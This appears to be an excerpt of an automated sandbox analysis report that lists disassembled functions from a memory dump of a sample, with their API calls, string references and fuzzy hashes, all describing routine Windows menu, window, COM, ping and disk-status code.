Instruction Fuzzy Hash: 50518B71118306AFC700EF14C996ABFBFA6FF84340F14482DF699572A2DB719909CA93

Function 00599837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00599862
__swprintf.LIBCMT ref: 005998AC
__i64tow.LIBCMT ref: 005CF5E6

Strings

False, xrefs: 005CF5AE
%.15g, xrefs: 005998A6
True, xrefs: 005CF5A7
0x%p, xrefs: 005CF5C8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 889ac8f8b11cb30dcf8c9fe423beb03f0108da94996c9a4bb115ce244a4a96f4
Instruction ID: 0e4e9c20f6a36ba61a371bf2955b800f3ea6c794735584eddc5ad8817dff10c3
Opcode Fuzzy Hash: 889ac8f8b11cb30dcf8c9fe423beb03f0108da94996c9a4bb115ce244a4a96f4
Instruction Fuzzy Hash: 9A41A671504206AFDF24DF78D846EBA7BE9FF45310F24486EE549D7291EA31A9418B10

Function 00617152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0061716A
CreateMenu.USER32 ref: 00617185
SetMenu.USER32(?,00000000), ref: 00617194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00617221
IsMenu.USER32(?), ref: 00617237
CreatePopupMenu.USER32 ref: 00617241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0061726E
DrawMenuBar.USER32 ref: 00617276

Strings

F, xrefs: 00617262
0, xrefs: 00617160

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 9a1441e93f2bcf4f889acaa7e78477b93c9cf44401daeb8dd4eaa8f5060b2ae9
Instruction ID: b424c3c9fbb4d5225531b9bda53443df6410fe32309225fa5fe2198503242b92
Opcode Fuzzy Hash: 9a1441e93f2bcf4f889acaa7e78477b93c9cf44401daeb8dd4eaa8f5060b2ae9
Instruction Fuzzy Hash: 6C414774A01205EFDB20DF64D888EDA7BF6FF48310F184029F905A7361D731AA11DB90

Function 006174BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0061755E
CreateCompatibleDC.GDI32(00000000), ref: 00617565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00617578
SelectObject.GDI32(00000000,00000000), ref: 00617580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0061758B
DeleteDC.GDI32(00000000), ref: 00617594
GetWindowLongW.USER32(?,000000EC), ref: 0061759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 006175B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 006175BE

Strings

static, xrefs: 006174F6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: ab55367f9e34810d44de62390fec26cd33ccfdd83fb7399842eef2ddf51951e8
Instruction ID: 45a5ebaf2714a600bebab3edc5ae856f8994bf09db8bbe532519ea1eacb2bf78
Opcode Fuzzy Hash: ab55367f9e34810d44de62390fec26cd33ccfdd83fb7399842eef2ddf51951e8
Instruction Fuzzy Hash: 43318B32104215BBDF129F64DC09FDA3B7BFF09361F195225FA15A21A0CB31E861DBA4

Function 005B6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005B6E3E

Part of subcall function 005B8B28: __getptd_noexit.LIBCMT ref: 005B8B28

__gmtime64_s.LIBCMT ref: 005B6ED7
__gmtime64_s.LIBCMT ref: 005B6F0D
__gmtime64_s.LIBCMT ref: 005B6F2A
__allrem.LIBCMT ref: 005B6F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B6F9C
__allrem.LIBCMT ref: 005B6FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B6FD1
__allrem.LIBCMT ref: 005B6FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B7006
__invoke_watson.LIBCMT ref: 005B7077

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: bec6541b17d0a090469097fcdf92ee1a2e724ac5ae168966fd21e8fbad26c7ac
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 3171E876A0071BABD714AE68DC45BEBBBB8BF84364F14852EF514D6281E774F9008B90

Function 005F2527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F2542
GetMenuItemInfoW.USER32(00655890,000000FF,00000000,00000030), ref: 005F25A3
SetMenuItemInfoW.USER32(00655890,00000004,00000000,00000030), ref: 005F25D9
Sleep.KERNEL32(000001F4), ref: 005F25EB
GetMenuItemCount.USER32(?), ref: 005F262F
GetMenuItemID.USER32(?,00000000), ref: 005F264B
GetMenuItemID.USER32(?,-00000001), ref: 005F2675
GetMenuItemID.USER32(?,?), ref: 005F26BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 005F2700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005F2714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005F2735

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 8cc9a2e12b8b11f9f123b777b201b04aadd8953b521bf3fed47277d96cc4876c
Instruction ID: 30bc566ebd5b690857b2002ccb1d4e5d867edaf17e22289c25f337c0a05e3aae
Opcode Fuzzy Hash: 8cc9a2e12b8b11f9f123b777b201b04aadd8953b521bf3fed47277d96cc4876c
Instruction Fuzzy Hash: B9618AB090124EAFDF11DFA4C898DBEBFBAFB41304F144459EA42A7250DB39AD05DB21

Function 00616F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00616FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00616FA8
GetWindowLongW.USER32(?,000000F0), ref: 00616FCC
_memset.LIBCMT ref: 00616FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00616FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00617067

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 46df861131451c187a9b9c3a985451a7971ccba930b838d66fb0eedad555c356
Instruction ID: 880f1fe9d5a349a34cb0309044d39964447fceb8b80cffaf83cddba660df6e41
Opcode Fuzzy Hash: 46df861131451c187a9b9c3a985451a7971ccba930b838d66fb0eedad555c356
Instruction Fuzzy Hash: 5B616975900208AFDB10DFA4CC85EEE77FAEB09710F184159FA15EB3A1C771A985DBA0

Function 005E6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 005E6BBF
SafeArrayAllocData.OLEAUT32(?), ref: 005E6C18
VariantInit.OLEAUT32(?), ref: 005E6C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 005E6C4A
VariantCopy.OLEAUT32(?,?), ref: 005E6C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 005E6CB1
VariantClear.OLEAUT32(?), ref: 005E6CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 005E6CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005E6CDC
VariantClear.OLEAUT32(?), ref: 005E6CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 005E6CF9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: f034e382be0a11b59a853913b9f4fe5937d70c81c5a42aaf6ebd0165e726e3e4
Instruction ID: aa6cd2b5f5588bc038f6e1259b3d3ac186a56120c8e82a7137820714c4c784c2
Opcode Fuzzy Hash: f034e382be0a11b59a853913b9f4fe5937d70c81c5a42aaf6ebd0165e726e3e4
Instruction Fuzzy Hash: 8F417071A0021A9FCF04DF69D8489EEBFF9FF58380F048069E995E7261CB31A945CB90

Function 006083BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

CoInitialize.OLE32 ref: 00608403
CoUninitialize.OLE32 ref: 0060840E
CoCreateInstance.OLE32(?,00000000,00000017,00622BEC,?), ref: 0060846E
IIDFromString.OLE32(?,?), ref: 006084E1
VariantInit.OLEAUT32(?), ref: 0060857B
VariantClear.OLEAUT32(?), ref: 006085DC

Strings

NULL Pointer assignment, xrefs: 006084B3
Invalid parameter, xrefs: 006084FA
Failed to create object, xrefs: 00608479, 0060852F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 2b48f02d487bcf0fb422033462aecd060019d633cf5c9e58a4fd195dabae42a1
Instruction ID: 1838864c16a71c62c6f22f7fb16da11f53bb2eea3e9fd4c6b938d7ad3da693de
Opcode Fuzzy Hash: 2b48f02d487bcf0fb422033462aecd060019d633cf5c9e58a4fd195dabae42a1
Instruction Fuzzy Hash: 1861BC706483129FC719DF14C848BAFBBEAAF89754F04481DF9819B291CB70ED49CB92

Function 00605732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00605793
inet_addr.WSOCK32(?,?,?), ref: 006057D8
gethostbyname.WSOCK32(?), ref: 006057E4
IcmpCreateFile.IPHLPAPI ref: 006057F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00605862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00605878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 006058ED
WSACleanup.WSOCK32 ref: 006058F3

Strings

Ping, xrefs: 00605816

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 3cc1cc8ba680230f9345f17b37e1590b693d5ad8f5bb103324d8b227433d0a5a
Instruction ID: 14745596d95425493c07d3782691630c945fa6cd28e851b08bca0835532a3c9a
Opcode Fuzzy Hash: 3cc1cc8ba680230f9345f17b37e1590b693d5ad8f5bb103324d8b227433d0a5a
Instruction Fuzzy Hash: 3B518D316446119FDB14EF25DC49B6B7BE6EB85720F04892AF956DB2E1DB30E800CF41

Function 005FB4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005FB4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 005FB546
GetLastError.KERNEL32 ref: 005FB550
SetErrorMode.KERNEL32(00000000,READY), ref: 005FB5BD

Strings

NOTREADY, xrefs: 005FB57C
READONLY, xrefs: 005FB588
UNKNOWN, xrefs: 005FB575
READY, xrefs: 005FB596
INVALID, xrefs: 005FB58F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: bf4b8298a98e64bfddac38681cd73856f1bc1cc20cba269a115e83a4ea7573ad
Instruction ID: 541f25a5f41ecbe171a9d4e6ad091191a029ad313745ee3352ee232ad3001da9
Opcode Fuzzy Hash: bf4b8298a98e64bfddac38681cd73856f1bc1cc20cba269a115e83a4ea7573ad
Instruction Fuzzy Hash: F9318335A0020EDFEB00EB68C889ABE7FB5FF49314F144126E60597291EB79DA41CB51

Function 005E8F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 005E9014
GetDlgCtrlID.USER32 ref: 005E901F
GetParent.USER32 ref: 005E903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 005E903E
GetDlgCtrlID.USER32(?), ref: 005E9047
GetParent.USER32(?), ref: 005E9063
SendMessageW.USER32(00000000,?,?,00000111), ref: 005E9066

Strings

ListBox, xrefs: 005E8FD1
ComboBox, xrefs: 005E8F9C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 0b7fb29e880c648cbef35603158eaf865f29bd30421f12a2d952493041830745
Instruction ID: 16f86a0cefa93a7a8a770d466a7cb72610901dcdd25f8c77449c411ea583e658
Opcode Fuzzy Hash: 0b7fb29e880c648cbef35603158eaf865f29bd30421f12a2d952493041830745
Instruction Fuzzy Hash: 1921D374A00209BFDF05ABA1CC89EFEBF75FF89310F10412AB961972A1DB755815DB60

Function 005E907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 005E90FD
GetDlgCtrlID.USER32 ref: 005E9108
GetParent.USER32 ref: 005E9124
SendMessageW.USER32(00000000,?,00000111,?), ref: 005E9127
GetDlgCtrlID.USER32(?), ref: 005E9130
GetParent.USER32(?), ref: 005E914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 005E914F

Strings

ListBox, xrefs: 005E90BC
ComboBox, xrefs: 005E9087

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 649fa9e813228247b3a3456e3e4cbe6e207f758f70ce1ae303698f85b39603a3
Instruction ID: 816a615f3994d879fbf0301c8f4d60fe73210ccdd5b1877b7af4358c1dc80d1e
Opcode Fuzzy Hash: 649fa9e813228247b3a3456e3e4cbe6e207f758f70ce1ae303698f85b39603a3
Instruction Fuzzy Hash: 9F21F574A00209BBDF15ABA1CC89EFEBF75FF49300F00402AB991972A1DB755815DB60

Function 005E9163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 005E916F
GetClassNameW.USER32(00000000,?,00000100), ref: 005E9184
_wcscmp.LIBCMT ref: 005E9196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 005E9211

Strings

details, xrefs: 005E91BF
smallicons, xrefs: 005E91D9
largeicons, xrefs: 005E91A5
SHELLDLL_DefView, xrefs: 005E9190
list, xrefs: 005E91F3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 1ccfeb3db060bb43792a045a928b2a3787cdfa35b66f73e41a7411d97543b966
Instruction ID: f6a6a1d3f1ce59bbeb58eacea56c5c4ead177353a7608543563e52e8b820d9dc
Opcode Fuzzy Hash: 1ccfeb3db060bb43792a045a928b2a3787cdfa35b66f73e41a7411d97543b966
Instruction Fuzzy Hash: 5D11293A24C387BAFF192626EC0ADF73F9DBF15720F200426FA00A44D1FF62A8515994

Function 005F7990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 005F7A6C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: e9f2c4dcc2b4f8e8c73873bad2d974973fc68d8c74570c3406800809c140fc17
Instruction ID: 2fc9fb205b32f8dd91e6ff5cb92e227790c03ade8a82ebec51299d537709aff1
Opcode Fuzzy Hash: e9f2c4dcc2b4f8e8c73873bad2d974973fc68d8c74570c3406800809c140fc17
Instruction Fuzzy Hash: 35B17A7190420E9FDB00DFA4D885BBEBBB5FF4D321F244429EA51E7291D738A941CB90

Function 005F11CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005F11F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,005F0268,?,00000001), ref: 005F1204
GetWindowThreadProcessId.USER32(00000000), ref: 005F120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005F0268,?,00000001), ref: 005F121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 005F122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005F0268,?,00000001), ref: 005F1245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,005F0268,?,00000001), ref: 005F1257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,005F0268,?,00000001), ref: 005F129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,005F0268,?,00000001), ref: 005F12B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,005F0268,?,00000001), ref: 005F12BC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 5e2fdfd2a50998d56d308ff47e3d795d122c799fd52c8a4ad83f3af23223c253
Instruction ID: b0cf5228faf5560dc713283a4a6033e6950194dd91c12df851edb165ab7e569a
Opcode Fuzzy Hash: 5e2fdfd2a50998d56d308ff47e3d795d122c799fd52c8a4ad83f3af23223c253
Instruction Fuzzy Hash: 30318E79A00708FBDB10DF95ED88BB97BABBB54322F149116FA05C71A0D7789D40CB54

Function 0059FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

